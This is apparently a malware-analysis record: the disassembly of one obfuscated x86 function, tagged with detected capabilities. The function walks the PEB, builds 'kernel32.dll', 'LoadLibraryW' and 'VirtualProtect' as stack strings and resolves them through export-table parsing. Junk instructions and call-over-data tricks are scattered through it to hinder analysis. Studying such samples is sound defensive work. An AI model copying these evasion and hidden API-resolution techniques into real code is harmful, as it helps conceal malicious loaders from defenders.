Function at 0x5f4668
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
xor edx, 0x7079
pop edx
push edi
add edi, 0xf55a
pop edi
push eax
add eax, 0x1172e
jmp 0x5f4209
pop eax
cmp dword [ebp - 0x3cc], 0
je 0x5f421c
cmp dword [ebp - 0xa5c], 0
jne 0x5f4262
push edi
push edx
add esp, 4
or edi, 0x1ddd
sub edi, 0x15473
pop edi
push ebx
call 0x5f423e
add byte [eax + 0x37], al
inc ecx
inc eax
aaa
dec ecx
dec esp
xor eax, 0x4c4833d
and ebx, 0xdf6d
or ebx, 0x4106
pop ebx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push ebx
push esi
add esp, 4
add ebx, 0x17b84
xor ebx, 0x7421
add ebx, 0x1533a
xor ebx, 0x54b3
pop ebx
push edx
sub edx, 0x6288
jmp 0x5f4297
and edx, 0x5f67
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edi
call 0x5f42d9
add byte [esi], dh
inc esp
inc esi
dec esi
cmp eax, dword [eax + 0x32]
cmp cl, byte [ebx + eax*4 - 0x3c]
add al, 0x5f
push edx
push edx
add esp, 4
sub edx, 0x76e1
and edx, 0x13157
or edx, 0x10ec9
add edx, 0xaf38
pop edx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push esi
push eax
add esp, 4
sub esi, 0x150bd
call 0x5f437b
add byte [eax + 0x3d], cl
aaa
cmp eax, 0xc4834144
add al, 0x81
into
push eax
add byte [eax], al
call 0x5f4392
add byte [ebx + 0x46], cl
inc esp
dec ebx
dec eax
cmp eax, 0x4c4833f
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edi
sub edi, 0x10025
and edi, 0xd7c
and edi, 0x43cc
and edi, 0x1408b
pop edi
push eax
sub eax, 0x13883
pop eax
push edx
and edx, 0xac41
pop edx
push edi
add edi, 0x149b2
pop edi
cmp dword [ebp - 0x150c], 0
jne 0x5f4407
mov dword [ebp - 0x2a8], 0
jmp 0x5f46ae
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ecx
call 0x5f4427
add byte [esi], bh
dec esi
inc edx
inc edi
aaa
xor bh, byte [esi]
add esp, 4
call 0x5f4438
add byte [esi], bh
aas
aas
push eax
cmp ecx, dword [edx + 0x35]
inc edx
add esp, 4
and ecx, 0x15c28
jmp 0x5f444a
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x5f4463
mov dword [ebp - 0x2a8], 0
jmp 0x5f46ae
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push edx
push esi
add esp, 4
sub edx, 0x629d
and edx, 0x98b9
or edx, 0x217e
pop edx
push edi
sub edi, 0x5392
or edi, 0x389c
xor edi, 0x5fd9
xor edi, 0x11012
pop edi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push edi
push ecx
add esp, 4
sub edi, 0x16420
sub edi, 0xfe94
sub edi, 0x13eda
pop edi
push edx
and edx, 0x13322
add edx, 0x13909
xor edx, 0x6765
and edx, 0xf6d
pop edx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push esi
sub esi, 0x10257
or esi, 0x15e02
jmp 0x5f4568
jmp 0x5f4571
pop esi
push edi
add edi, 0x8c89
and edi, 0x138ac
sub edi, 0x111ec
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x5f45a3
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x5f45fd
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x5f44cb
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x5f44cb
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x5f45e7
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x5f45f1
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x5f4646
push ebx
push esi
add esp, 4
jmp 0x5f4611
or ebx, 0xc675
jmp 0x5f461f
and ebx, 0xcf50
pop ebx
push eax
push ecx
add esp, 4
and eax, 0xb3d0
sub eax, 0x15585
pop eax
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x5f46ae
push ebx
or ebx, 0x1566a
xor ebx, 0xa4f9
xor ebx, 0x1568c
call 0x5f4668
add byte [eax + 0x3a], dl
inc edx
dec eax
xor ecx, dword [ebx + esi + 0x35]
inc esp
add esp, 4
pop ebx
push ecx
push ecx
add esp, 4
add ecx, 0x1614a
pop ecx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x5f46a4
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x5f446f
mov dword [ebp - 0x2a8], 0
push ecx
add ecx, 0xc423
add ecx, 0x2314
pop ecx
push edi
or edi, 0x13c34
add edi, 0x111e7
sub edi, 0x9f7d
xor edi, 0x1544a
pop edi
push esi
jmp 0x5f46df
pop esi
cmp dword [ebp - 0x2a8], 0
jne 0x5f4fe5
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push esi
or esi, 0x320e
sub esi, 0x93c2
jmp 0x5f4799
xor esi, 0xc864
pop esi
push eax
jmp 0x5f47a6
jmp 0x5f47ab
add eax, 0x30b
xor eax, 0x9180
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ebx
push edi
add esp, 4
or ebx, 0x7d1b
sub ebx, 0x17f6e
pop ebx
push esi
push ecx
add esp, 4
xor esi, 0x1f0c
jmp 0x5f4860
and esi, 0x16298
sub esi, 0xa1d7
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x5f4885
mov dword [ebp - 0x710], 0
jmp 0x5f4b2c
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push esi
push esi
add esp, 4
add esi, 0x14053
or esi, 0x1209b
and esi, 0x7aa0
pop esi
push edx
push edi
add esp, 4
and edx, 0x5200
xor edx, 0x10306
pop edx
push edx
sub edx, 0x1098e
pop edx
cmp dword [ebp - 0xc58], 0
jne 0x5f48e1
mov dword [ebp - 0x710], 0
jmp 0x5f4b2c
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ebx
and ebx, 0x11302
pop ebx
push esi
push edx
add esp, 4
jmp 0x5f48ff
and esi, 0x15e3a
jmp 0x5f490d
pop esi
push ebx
push edi
add esp, 4
jmp 0x5f4918
xor ebx, 0x174ac
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push esi
push ecx
add esp, 4
add esi, 0x88d5
pop esi
push edi
add edi, 0xcb1a
call 0x5f496b
add byte [eax + 0x4e], al
inc ebp
dec eax
cmp al, 0x4b
inc esp
inc edx
inc eax
add esp, 4
jmp 0x5f4973
jmp 0x5f497a
pop edi
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
push edx
add esp, 4
or esi, 0x1223
pop esi
push edi
sub edi, 0x10161
or edi, 0x387e
pop edi
push esi
push esi
add esp, 4
sub esi, 0x6134
xor esi, 0x5914
add esi, 0x37b9
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x5f4a21
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x5f4a7b
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x5f4949
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x5f4949
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x5f4a65
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x5f4a6f
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x5f4ac4
push ecx
push edx
add esp, 4
or ecx, 0xde73
call 0x5f4a9c
add byte [ecx + 0x50], al
xor dh, byte [esi]
dec edi
xor al, byte [edx - 0x7d]
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [ecx], bh
cmp edi, dword [ecx]
dec esp
dec ecx
dec ebx
inc ecx
cmp eax, 0xeb04c483
add esi, dword [esi]
dec esp
cmp bl, byte [ecx - 0x75]
xchg ebp, eax
sbb bl, bh
invalid
push ebx
push ebx
add esp, 4
call 0x5f4ad8
add byte [eax + ecx*2 + 0x4b], cl
cmp al, 0x37
dec ecx
dec esi
dec ebx
dec ebp
add esp, 4
sub ebx, 0x4477
pop ebx
push edx
and edx, 0xc027
and edx, 0x17012
or edx, 0x8b72
pop edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x5f4b22
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x5f48ed
mov dword [ebp - 0x710], 0
push eax
sub eax, 0x43d2
xor eax, 0x1c6e
sub eax, 0x127be
pop eax
push esi
and esi, 0xb8c0
call 0x5f4b54
add byte [ebx + 0x48], cl
dec esp
aas
inc ecx
xor bh, byte [esi]
add esp, 4
sub esi, 0x94a4
pop esi
cmp dword [ebp - 0x710], 0
jne 0x5f4ba8
push ecx
jmp 0x5f4b70
pop ecx
push ecx
add ecx, 0x86f8
add ecx, 0x68bf
and ecx, 0x7a7e
and ecx, 0xa656
pop ecx
push ecx
or ecx, 0x8fda
and ecx, 0x164df
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x5f56d0
push ecx
push ebx
add esp, 4
or ecx, 0x159a3
pop ecx
push ebx
and ebx, 0x1b66
add ebx, 0x172c1
and ebx, 0x16fc5
and ebx, 0x5c9e
pop ebx
push edx
push ecx
add esp, 4
add edx, 0x15642
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x5f4c19
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x5f4f0a
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x5f4c41
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x5f4f0a
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x5f4c73
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x5f4f0a
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x5f4c98
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x5f4f0a
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x5f4cf2
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x5f4efe
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x5f4d62
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x5f4e14
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x5f4e14
push esi
push ebx
add esp, 4
sub esi, 0x4016
sub esi, 0x5482
sub esi, 0x3b94
and esi, 0x83c4
pop esi
push eax
sub eax, 0xd3eb
and eax, 0xa0d8
sub eax, 0x1d4f
pop eax
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x5f4e06
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x5f4e0d
jmp 0x5f4d53
jmp 0x5f4e14
push ecx
xor ecx, 0x113a9
or ecx, 0x27e5
or ecx, 0x2d
pop ecx
push edx
sub edx, 0x15246
pop edx
push ebx
add ebx, 0x5e38
or ebx, 0xa07f
jmp 0x5f4e45
pop ebx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x5f4e73
mov dword [ebp - 0xc5c], 0
jmp 0x5f4ee2
push edi
sub edi, 0x13c19
sub edi, 0x15e70
sub edi, 0xd63b
sub edi, 0x110e4
pop edi
push ebx
push edi
add esp, 4
xor ebx, 0x6738
xor ebx, 0x3e0c
add ebx, 0x169f3
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x5f4ed8
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x5f4ee2
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x5f4ef9
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x5f4f0a
jmp 0x5f4ce3
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x5f4fe5
push ebx
sub ebx, 0x6b62
or ebx, 0x1109b
sub ebx, 0x624a
pop ebx
push ebx
jmp 0x5f4f32
pop ebx
push ecx
and ecx, 0x7e93
jmp 0x5f4f41
jmp 0x5f4f48
pop ecx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edi
push ecx
add esp, 4
call 0x5f4f68
add byte [ecx + 0x3b], cl
aas
dec edi
inc ebp
xor bh, byte [esi]
push eax
add esp, 4
pop edi
push edi
push eax
add esp, 4
add edi, 0x11936
jmp 0x5f4f7e
pop edi
push esi
and esi, 0x1077
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x5f4fe5
push edx
push eax
add esp, 4
and edx, 0x56e1
add edx, 0x69aa
jmp 0x5f4fbb
pop edx
push eax
push ebx
add esp, 4
or eax, 0xed19
and eax, 0xedc8
pop eax
push esi
xor esi, 0x17c3b
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x5f56d0
push esi
push edi
add esp, 4
jmp 0x5f4ff0
pop esi
push esi
sub esi, 0x8418
add esi, 0x7189
or esi, 0x138e
call 0x5f5013
add byte [ebp + 0x4a], al
dec ebp
dec ecx
dec ebp
dec esp
xor eax, 0xc4833437
add al, 0x5e
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
call 0x5f504f
add byte [ebx + 0x4a], al
inc ebp
dec edi
dec ebp
cmp al, 0x41
cmp al, 0x34
add esp, 4
and ecx, 0x6228
pop ecx
push ebx
push eax
add esp, 4
or ebx, 0xb884
sub ebx, 0xa40f
and ebx, 0x12814
pop ebx
cmp dword [ebp - 0x1574], 0
jne 0x5f5089
mov dword [ebp - 0x2a8], 0
jmp 0x5f5330
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ecx
push esi
add esp, 4
xor ecx, 0x1c01
call 0x5f50b2
add byte [esi], dh
dec esi
cmp byte [edi], dh
inc eax
add esp, 4
pop ecx
push ecx
push ebx
add esp, 4
jmp 0x5f50c0
xor ecx, 0xed87
add ecx, 0x1cf0
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x5f50e5
mov dword [ebp - 0x2a8], 0
jmp 0x5f5330
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ecx
push eax
add esp, 4
jmp 0x5f50fd
and ecx, 0xddf1
or ecx, 0xf23e
jmp 0x5f510f
pop ecx
push eax
push edi
add esp, 4
jmp 0x5f511c
or eax, 0x8f14
pop eax
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edx
push edi
add esp, 4
call 0x5f515f
add byte [ebx], bh
xor al, 0x3b
xor bh, byte [eax]
inc esp
inc ecx
add esp, 4
pop edx
push edi
and edi, 0x142c0
or edi, 0xc8e2
xor edi, 0x16ec8
jmp 0x5f517e
pop edi
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edi
call 0x5f51e4
add byte [edx + eax*2 + 0x3c], cl
cmp eax, 0x83423642
les eax, [ecx + eax*4]
out dx, eax
out 0x85, eax
add dword [eax], eax
pop edi
push ecx
add ecx, 0xed41
and ecx, 0x10534
sub ecx, 0xb673
or ecx, 0x9bea
pop ecx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x5f5225
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x5f527f
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x5f514d
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x5f514d
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x5f5269
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x5f5273
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x5f52c8
push ebx
push edx
add esp, 4
sub ebx, 0x6fe3
sub ebx, 0x148ab
pop ebx
push ebx
xor ebx, 0x1517f
and ebx, 0xbb0d
jmp 0x5f52ad
pop ebx
push eax
push eax
add esp, 4
sub eax, 0x939a
pop eax
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x5f5330
push ebx
jmp 0x5f52cf
pop ebx
push ecx
push eax
add esp, 4
call 0x5f52e2
add byte [eax + ecx*2], dh
inc esp
inc ecx
inc esp
aaa
add esp, 4
xor ecx, 0x5870
pop ecx
push ecx
xor ecx, 0xa9c3
sub ecx, 0x4d87
pop ecx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x5f5326
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x5f50f1
mov dword [ebp - 0x2a8], 0
push ecx
push edx
add esp, 4
add ecx, 0x6bb7
sub ecx, 0x9f19
pop ecx
push edx
push ecx
add esp, 4
and edx, 0x909b
pop edx
push ecx
or ecx, 0x5e05
and ecx, 0x1a72
xor ecx, 0xf6a5
pop ecx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edx
push ebx
add esp, 4
or edx, 0x146
pop edx
push edi
call 0x5f538c
add byte [edi + eax*2 + 0x3e], cl
dec ebp
xor esi, dword ss:[edx]
aaa
add esp, 4
call 0x5f539f
add byte [eax + 0x39], cl
aaa
inc ecx
inc ebx
dec ebp
xor al, 0x4d
add esp, 4
pop edi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x5f53d3
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x5f56c4
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x5f53fb
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x5f56c4
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x5f542d
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x5f56c4
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x5f5452
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x5f56c4
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x5f54ac
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x5f56b8
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x5f551c
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x5f55ce
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x5f55ce
push ebx
call 0x5f5559
add byte [ebx], bh
inc eax
inc esi
dec esp
push eax
cmp bh, byte [esi]
push eax
xor eax, dword [ebx - 0x3c7efb3c]
xor byte [eax + eax + 0xae800], dl
add byte [eax], al
add byte [eax + edi], dh
push eax
inc ebx
inc esp
dec ecx
xor edi, dword [ebx]
dec ebp
add esp, 4
sub ebx, 0x5e00
pop ebx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x5f55c0
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x5f55c7
jmp 0x5f550d
jmp 0x5f55ce
push ecx
call 0x5f55dc
add byte [edi + 0x3b], cl
dec edi
dec eax
dec ebp
inc eax
aas
add esp, 4
or ecx, 0xab85
pop ecx
push ecx
and ecx, 0x54c9
or ecx, 0xff30
and ecx, 0x8612
sub ecx, 0x129cd
pop ecx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
